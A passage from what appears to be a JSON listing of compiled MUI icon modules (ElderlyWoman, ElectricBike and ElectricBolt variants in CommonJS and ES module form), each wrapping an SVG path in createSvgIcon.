    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 11c-1.56 0-2.92-.9-3.58-2.21l-.79-1.67C14.12 7.1 13.63 6 12.34 6 8.72 6 6 16.69 6 19h2.5l-2.1 2.8L8 23l3-4h2v4h2v-4.03L13 13l.49-2.71c.81 1.23 2.05 2.14 3.51 2.52v.69h1v-1c0-.28.22-.5.5-.5s.5.22.5.5V23h1V12.5c0-.83-.67-1.5-1.5-1.5m-6.9-8.09c-.06.19-.1.38-.1.59 0 1.1.9 2 2 2s2-.9 2-2-.9-2-2-2c-.21 0-.4.04-.59.1-.15-.35-.5-.6-.91-.6-.55 0-1 .45-1 1 0 .41.25.76.6.91\"\n}), 'ElderlyWomanOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElderlyWomanOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 11c-1.56 0-2.92-.9-3.58-2.21l-.79-1.67C14.12 7.1 13.63 6 12.34 6 8.72 6 6 16.69 6 19h2.5l-2.1 2.8L8 23l3-4h2v4h2v-4.03L13 13l.49-2.71c.81 1.23 2.05 2.14 3.51 2.52v.69h1v-1c0-.28.22-.5.5-.5s.5.22.5.5V23h1V12.5c0-.83-.67-1.5-1.5-1.5m-6.9-8.09c-.06.19-.1.38-.1.59 0 1.1.9 2 2 2s2-.9 2-2-.9-2-2-2c-.21 0-.4.04-.59.1-.15-.35-.5-.6-.91-.6-.55 0-1 .45-1 1 0 .41.25.76.6.91\"\n}), 'ElderlyWomanOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElderlyWomanRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.52 11c-1.57 0-2.94-.9-3.6-2.21l-.79-1.67C14.12 7.1 13.63 6 12.34 6 8.72 6 6 16.69 6 19h2.5L7 21c-.33.44-.24 1.07.2 1.4s1.07.24 1.4-.2L11 19h2v3c0 .55.45 1 1 1s1-.45 1-1v-2.71c0-.22-.04-.43-.1-.64L13 13l.49-2.71c.81 1.23 2.05 2.14 3.51 2.52V13c0 .28.22.5.5.5s.5-.22.5-.5v-.5c0-.28.22-.5.5-.5s.5.22.5.5v10c0 .28.22.5.5.5s.5-.22.5-.5v-10c0-.79-.62-1.5-1.48-1.5M11.6 2.91c-.06.19-.1.38-.1.59 0 1.1.9 2 2 2s2-.9 2-2-.9-2-2-2c-.21 0-.4.04-.59.1-.15-.35-.5-.6-.91-.6-.55 0-1 .45-1 1 0 .41.25.76.6.91\"\n}), 'ElderlyWomanRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElderlyWomanRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.52 11c-1.57 0-2.94-.9-3.6-2.21l-.79-1.67C14.12 7.1 13.63 6 12.34 6 8.72 6 6 16.69 6 19h2.5L7 21c-.33.44-.24 1.07.2 1.4s1.07.24 1.4-.2L11 19h2v3c0 .55.45 1 1 1s1-.45 1-1v-2.71c0-.22-.04-.43-.1-.64L13 13l.49-2.71c.81 1.23 2.05 2.14 3.51 2.52V13c0 .28.22.5.5.5s.5-.22.5-.5v-.5c0-.28.22-.5.5-.5s.5.22.5.5v10c0 .28.22.5.5.5s.5-.22.5-.5v-10c0-.79-.62-1.5-1.48-1.5M11.6 2.91c-.06.19-.1.38-.1.59 0 1.1.9 2 2 2s2-.9 2-2-.9-2-2-2c-.21 0-.4.04-.59.1-.15-.35-.5-.6-.91-.6-.55 0-1 .45-1 1 0 .41.25.76.6.91\"\n}), 'ElderlyWomanRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElderlyWomanSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 11c-1.56 0-2.92-.9-3.58-2.21l-.79-1.67C14.12 7.1 13.63 6 12.34 6 8.72 6 6 16.69 6 19h2.5l-2.1 2.8L8 23l3-4h2v4h2v-4.03L13 13l.49-2.71c.81 1.23 2.05 2.14 3.51 2.52v.69h1v-1c0-.28.22-.5.5-.5s.5.22.5.5V23h1V12.5c0-.83-.67-1.5-1.5-1.5m-6.9-8.09c-.06.19-.1.38-.1.59 0 1.1.9 2 2 2s2-.9 2-2-.9-2-2-2c-.21 0-.4.04-.59.1-.15-.35-.5-.6-.91-.6-.55 0-1 .45-1 1 0 .41.25.76.6.91\"\n}), 'ElderlyWomanSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElderlyWomanSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 11c-1.56 0-2.92-.9-3.58-2.21l-.79-1.67C14.12 7.1 13.63 6 12.34 6 8.72 6 6 16.69 6 19h2.5l-2.1 2.8L8 23l3-4h2v4h2v-4.03L13 13l.49-2.71c.81 1.23 2.05 2.14 3.51 2.52v.69h1v-1c0-.28.22-.5.5-.5s.5.22.5.5V23h1V12.5c0-.83-.67-1.5-1.5-1.5m-6.9-8.09c-.06.19-.1.38-.1.59 0 1.1.9 2 2 2s2-.9 2-2-.9-2-2-2c-.21 0-.4.04-.59.1-.15-.35-.5-.6-.91-.6-.55 0-1 .45-1 1 0 .41.25.76.6.91\"\n}), 'ElderlyWomanSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElderlyWomanTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 11c-1.56 0-2.92-.9-3.58-2.21l-.79-1.67C14.12 7.1 13.63 6 12.34 6 8.72 6 6 16.69 6 19h2.5l-2.1 2.8L8 23l3-4h2v4h2v-4.03L13 13l.49-2.71c.81 1.23 2.05 2.14 3.51 2.52v.69h1v-1c0-.28.22-.5.5-.5s.5.22.5.5V23h1V12.5c0-.83-.67-1.5-1.5-1.5m-6.9-8.09c-.06.19-.1.38-.1.59 0 1.1.9 2 2 2s2-.9 2-2-.9-2-2-2c-.21 0-.4.04-.59.1-.15-.35-.5-.6-.91-.6-.55 0-1 .45-1 1 0 .41.25.76.6.91\"\n}), 'ElderlyWomanTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElderlyWomanTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 11c-1.56 0-2.92-.9-3.58-2.21l-.79-1.67C14.12 7.1 13.63 6 12.34 6 8.72 6 6 16.69 6 19h2.5l-2.1 2.8L8 23l3-4h2v4h2v-4.03L13 13l.49-2.71c.81 1.23 2.05 2.14 3.51 2.52v.69h1v-1c0-.28.22-.5.5-.5s.5.22.5.5V23h1V12.5c0-.83-.67-1.5-1.5-1.5m-6.9-8.09c-.06.19-.1.38-.1.59 0 1.1.9 2 2 2s2-.9 2-2-.9-2-2-2c-.21 0-.4.04-.59.1-.15-.35-.5-.6-.91-.6-.55 0-1 .45-1 1 0 .41.25.76.6.91\"\n}), 'ElderlyWomanTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricBike.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 7h-.82l-1.7-4.68C16.19 1.53 15.44 1 14.6 1H12v2h2.6l1.46 4h-4.81l-.36-1H12V4H7v2h1.75l1.82 5H9.9c-.44-2.23-2.31-3.88-4.65-3.99C2.45 6.87 0 9.2 0 12s2.2 5 5 5c2.46 0 4.45-1.69 4.9-4h4.2c.44 2.23 2.31 3.88 4.65 3.99 2.8.13 5.25-2.19 5.25-5C24 9.2 21.8 7 19 7M7.82 13c-.4 1.17-1.49 2-2.82 2-1.68 0-3-1.32-3-3s1.32-3 3-3c1.33 0 2.42.83 2.82 2H5v2zm6.28-2h-1.4l-.73-2H15c-.44.58-.76 1.25-.9 2m4.9 4c-1.68 0-3-1.32-3-3 0-.93.41-1.73 1.05-2.28l.96 2.64 1.88-.68-.97-2.67c.02 0 .05-.01.08-.01 1.68 0 3 1.32 3 3s-1.32 3-3 3m-8 5H7l6 3v-2h4l-6-3z\"\n}), 'ElectricBike');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricBike.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 7h-.82l-1.7-4.68C16.19 1.53 15.44 1 14.6 1H12v2h2.6l1.46 4h-4.81l-.36-1H12V4H7v2h1.75l1.82 5H9.9c-.44-2.23-2.31-3.88-4.65-3.99C2.45 6.87 0 9.2 0 12s2.2 5 5 5c2.46 0 4.45-1.69 4.9-4h4.2c.44 2.23 2.31 3.88 4.65 3.99 2.8.13 5.25-2.19 5.25-5C24 9.2 21.8 7 19 7M7.82 13c-.4 1.17-1.49 2-2.82 2-1.68 0-3-1.32-3-3s1.32-3 3-3c1.33 0 2.42.83 2.82 2H5v2zm6.28-2h-1.4l-.73-2H15c-.44.58-.76 1.25-.9 2m4.9 4c-1.68 0-3-1.32-3-3 0-.93.41-1.73 1.05-2.28l.96 2.64 1.88-.68-.97-2.67c.02 0 .05-.01.08-.01 1.68 0 3 1.32 3 3s-1.32 3-3 3m-8 5H7l6 3v-2h4l-6-3z\"\n}), 'ElectricBike');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricBikeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 7h-.82l-1.7-4.68C16.19 1.53 15.44 1 14.6 1H12v2h2.6l1.46 4h-4.81l-.36-1H12V4H7v2h1.75l1.82 5H9.9c-.44-2.23-2.31-3.88-4.65-3.99C2.45 6.87 0 9.2 0 12s2.2 5 5 5c2.46 0 4.45-1.69 4.9-4h4.2c.44 2.23 2.31 3.88 4.65 3.99 2.8.13 5.25-2.19 5.25-5C24 9.2 21.8 7 19 7M7.82 13c-.4 1.17-1.49 2-2.82 2-1.68 0-3-1.32-3-3s1.32-3 3-3c1.33 0 2.42.83 2.82 2H5v2zm6.28-2h-1.4l-.73-2H15c-.44.58-.76 1.25-.9 2m4.9 4c-1.68 0-3-1.32-3-3 0-.93.41-1.73 1.05-2.28l.96 2.64 1.88-.68-.97-2.67c.02 0 .05-.01.08-.01 1.68 0 3 1.32 3 3s-1.32 3-3 3m-8 5H7l6 3v-2h4l-6-3z\"\n}), 'ElectricBikeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricBikeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 7h-.82l-1.7-4.68C16.19 1.53 15.44 1 14.6 1H12v2h2.6l1.46 4h-4.81l-.36-1H12V4H7v2h1.75l1.82 5H9.9c-.44-2.23-2.31-3.88-4.65-3.99C2.45 6.87 0 9.2 0 12s2.2 5 5 5c2.46 0 4.45-1.69 4.9-4h4.2c.44 2.23 2.31 3.88 4.65 3.99 2.8.13 5.25-2.19 5.25-5C24 9.2 21.8 7 19 7M7.82 13c-.4 1.17-1.49 2-2.82 2-1.68 0-3-1.32-3-3s1.32-3 3-3c1.33 0 2.42.83 2.82 2H5v2zm6.28-2h-1.4l-.73-2H15c-.44.58-.76 1.25-.9 2m4.9 4c-1.68 0-3-1.32-3-3 0-.93.41-1.73 1.05-2.28l.96 2.64 1.88-.68-.97-2.67c.02 0 .05-.01.08-.01 1.68 0 3 1.32 3 3s-1.32 3-3 3m-8 5H7l6 3v-2h4l-6-3z\"\n}), 'ElectricBikeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricBikeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 7h-.82l-1.7-4.68C16.19 1.53 15.44 1 14.6 1H13c-.55 0-1 .45-1 1s.45 1 1 1h1.6l1.46 4h-4.81l-.36-1h.09c.55 0 1-.45 1-1s-.45-1-1-1H8c-.55 0-1 .45-1 1s.45 1 1 1h.75l1.82 5H9.9c-.44-2.23-2.31-3.88-4.65-3.99C2.45 6.87 0 9.2 0 12s2.2 5 5 5c2.46 0 4.45-1.69 4.9-4h4.2c.44 2.23 2.31 3.88 4.65 3.99 2.8.13 5.25-2.19 5.25-5C24 9.2 21.8 7 19 7M6 13h1.82c-.42 1.23-1.6 2.08-3.02 1.99-1.49-.09-2.73-1.35-2.8-2.85C1.93 10.39 3.27 9 5 9c1.33 0 2.42.83 2.82 2H6c-.55 0-1 .45-1 1s.45 1 1 1m8.1-2h-1.4l-.73-2H15c-.44.58-.76 1.25-.9 2m4.78 4c-1.54-.06-2.84-1.37-2.88-2.92-.02-.96.39-1.8 1.05-2.36l.62 1.7c.19.52.76.79 1.28.6s.79-.76.6-1.28l-.63-1.73.01-.01c1.71-.04 3.07 1.29 3.07 3 0 1.72-1.38 3.06-3.12 3M11 20H7l6 3v-2h4l-6-3z\"\n}), 'ElectricBikeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricBikeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 7h-.82l-1.7-4.68C16.19 1.53 15.44 1 14.6 1H13c-.55 0-1 .45-1 1s.45 1 1 1h1.6l1.46 4h-4.81l-.36-1h.09c.55 0 1-.45 1-1s-.45-1-1-1H8c-.55 0-1 .45-1 1s.45 1 1 1h.75l1.82 5H9.9c-.44-2.23-2.31-3.88-4.65-3.99C2.45 6.87 0 9.2 0 12s2.2 5 5 5c2.46 0 4.45-1.69 4.9-4h4.2c.44 2.23 2.31 3.88 4.65 3.99 2.8.13 5.25-2.19 5.25-5C24 9.2 21.8 7 19 7M6 13h1.82c-.42 1.23-1.6 2.08-3.02 1.99-1.49-.09-2.73-1.35-2.8-2.85C1.93 10.39 3.27 9 5 9c1.33 0 2.42.83 2.82 2H6c-.55 0-1 .45-1 1s.45 1 1 1m8.1-2h-1.4l-.73-2H15c-.44.58-.76 1.25-.9 2m4.78 4c-1.54-.06-2.84-1.37-2.88-2.92-.02-.96.39-1.8 1.05-2.36l.62 1.7c.19.52.76.79 1.28.6s.79-.76.6-1.28l-.63-1.73.01-.01c1.71-.04 3.07 1.29 3.07 3 0 1.72-1.38 3.06-3.12 3M11 20H7l6 3v-2h4l-6-3z\"\n}), 'ElectricBikeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricBikeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 7h-.82L16 1h-4v2h2.6l1.46 4h-4.81l-.36-1H12V4H7v2h1.75l1.82 5H9.9c-.44-2.23-2.31-3.88-4.65-3.99C2.45 6.87 0 9.2 0 12s2.2 5 5 5c2.46 0 4.45-1.69 4.9-4h4.2c.44 2.23 2.31 3.88 4.65 3.99 2.8.13 5.25-2.19 5.25-5C24 9.2 21.8 7 19 7M7.82 13c-.4 1.17-1.49 2-2.82 2-1.68 0-3-1.32-3-3s1.32-3 3-3c1.33 0 2.42.83 2.82 2H5v2zm6.28-2h-1.4l-.73-2H15c-.44.58-.76 1.25-.9 2m4.9 4c-1.68 0-3-1.32-3-3 0-.93.41-1.73 1.05-2.28l.96 2.64 1.88-.68-.97-2.67c.02 0 .05-.01.08-.01 1.68 0 3 1.32 3 3s-1.32 3-3 3m-8 5H7l6 3v-2h4l-6-3z\"\n}), 'ElectricBikeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricBikeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 7h-.82L16 1h-4v2h2.6l1.46 4h-4.81l-.36-1H12V4H7v2h1.75l1.82 5H9.9c-.44-2.23-2.31-3.88-4.65-3.99C2.45 6.87 0 9.2 0 12s2.2 5 5 5c2.46 0 4.45-1.69 4.9-4h4.2c.44 2.23 2.31 3.88 4.65 3.99 2.8.13 5.25-2.19 5.25-5C24 9.2 21.8 7 19 7M7.82 13c-.4 1.17-1.49 2-2.82 2-1.68 0-3-1.32-3-3s1.32-3 3-3c1.33 0 2.42.83 2.82 2H5v2zm6.28-2h-1.4l-.73-2H15c-.44.58-.76 1.25-.9 2m4.9 4c-1.68 0-3-1.32-3-3 0-.93.41-1.73 1.05-2.28l.96 2.64 1.88-.68-.97-2.67c.02 0 .05-.01.08-.01 1.68 0 3 1.32 3 3s-1.32 3-3 3m-8 5H7l6 3v-2h4l-6-3z\"\n}), 'ElectricBikeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricBikeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 7h-.82l-1.7-4.68C16.19 1.53 15.44 1 14.6 1H12v2h2.6l1.46 4h-4.81l-.36-1H12V4H7v2h1.75l1.82 5H9.9c-.44-2.23-2.31-3.88-4.65-3.99C2.45 6.87 0 9.2 0 12s2.2 5 5 5c2.46 0 4.45-1.69 4.9-4h4.2c.44 2.23 2.31 3.88 4.65 3.99 2.8.13 5.25-2.19 5.25-5C24 9.2 21.8 7 19 7M7.82 13c-.4 1.17-1.49 2-2.82 2-1.68 0-3-1.32-3-3s1.32-3 3-3c1.33 0 2.42.83 2.82 2H5v2zm6.28-2h-1.4l-.73-2H15c-.44.58-.76 1.25-.9 2m4.9 4c-1.68 0-3-1.32-3-3 0-.93.41-1.73 1.05-2.28l.96 2.64 1.88-.68-.97-2.67c.02 0 .05-.01.08-.01 1.68 0 3 1.32 3 3s-1.32 3-3 3m-8 5H7l6 3v-2h4l-6-3z\"\n}), 'ElectricBikeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricBikeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 7h-.82l-1.7-4.68C16.19 1.53 15.44 1 14.6 1H12v2h2.6l1.46 4h-4.81l-.36-1H12V4H7v2h1.75l1.82 5H9.9c-.44-2.23-2.31-3.88-4.65-3.99C2.45 6.87 0 9.2 0 12s2.2 5 5 5c2.46 0 4.45-1.69 4.9-4h4.2c.44 2.23 2.31 3.88 4.65 3.99 2.8.13 5.25-2.19 5.25-5C24 9.2 21.8 7 19 7M7.82 13c-.4 1.17-1.49 2-2.82 2-1.68 0-3-1.32-3-3s1.32-3 3-3c1.33 0 2.42.83 2.82 2H5v2zm6.28-2h-1.4l-.73-2H15c-.44.58-.76 1.25-.9 2m4.9 4c-1.68 0-3-1.32-3-3 0-.93.41-1.73 1.05-2.28l.96 2.64 1.88-.68-.97-2.67c.02 0 .05-.01.08-.01 1.68 0 3 1.32 3 3s-1.32 3-3 3m-8 5H7l6 3v-2h4l-6-3z\"\n}), 'ElectricBikeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricBolt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.69 2.21 4.33 11.49c-.64.58-.28 1.65.58 1.73L13 14l-4.85 6.76c-.22.31-.19.74.08 1.01.3.3.77.31 1.08.02l10.36-9.28c.64-.58.28-1.65-.58-1.73L11 10l4.85-6.76c.22-.31.19-.74-.08-1.01-.3-.3-.77-.31-1.08-.02\"\n}), 'ElectricBolt');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricBolt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.69 2.21 4.33 11.49c-.64.58-.28 1.65.58 1.73L13 14l-4.85 6.76c-.22.31-.19.74.08 1.01.3.3.77.31 1.08.02l10.36-9.28c.64-.58.28-1.65-.58-1.73L11 10l4.85-6.76c.22-.31.19-.74-.08-1.01-.3-.3-.77-.31-1.08-.02\"\n}), 'ElectricBolt');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricBoltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.69 2.21 4.33 11.49c-.64.58-.28 1.65.58 1.73L13 14l-4.85 6.76c-.22.31-.19.74.08 1.01.3.3.77.31 1.08.02l10.36-9.28c.64-.58.28-1.65-.58-1.73L11 10l4.85-6.76c.22-.31.19-.74-.08-1.01-.3-.3-.77-.31-1.08-.02\"\n}), 'ElectricBoltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricBoltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.69 2.21 4.33 11.49c-.64.58-.28 1.65.58 1.73L13 14l-4.85 6.76c-.22.31-.19.74.08 1.01.3.3.77.31 1.08.02l10.36-9.28c.64-.58.28-1.65-.58-1.73L11 10l4.85-6.76c.22-.31.19-.74-.08-1.01-.3-.3-.77-.31-1.08-.02\"\n}), 'ElectricBoltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricBoltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.69 2.21 4.33 11.49c-.64.58-.28 1.65.58 1.73L13 14l-4.85 6.76c-.22.31-.19.74.08 1.01.3.3.77.31 1.08.02l10.36-9.28c.64-.58.28-1.65-.58-1.73L11 10l4.85-6.76c.22-.31.19-.74-.08-1.01-.3-.3-.77-.31-1.08-.02\"\n}), 'ElectricBoltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricBoltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.69 2.21 4.33 11.49c-.64.58-.28 1.65.58 1.73L13 14l-4.85 6.76c-.22.31-.19.74.08 1.01.3.3.77.31 1.08.02l10.36-9.28c.64-.58.28-1.65-.58-1.73L11 10l4.85-6.76c.22-.31.19-.74-.08-1.01-.3-.3-.77-.31-1.08-.02\"\n}), 'ElectricBoltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricBoltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 2 2.5 13 13 14l-5 7 1 1 12.5-11L11 10l5-7z\"\n}), 'ElectricBoltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricBoltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 2 2.5 13 13 14l-5 7 1 1 12.5-11L11 10l5-7z\"\n}), 'ElectricBoltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricBoltTwoTone.js",
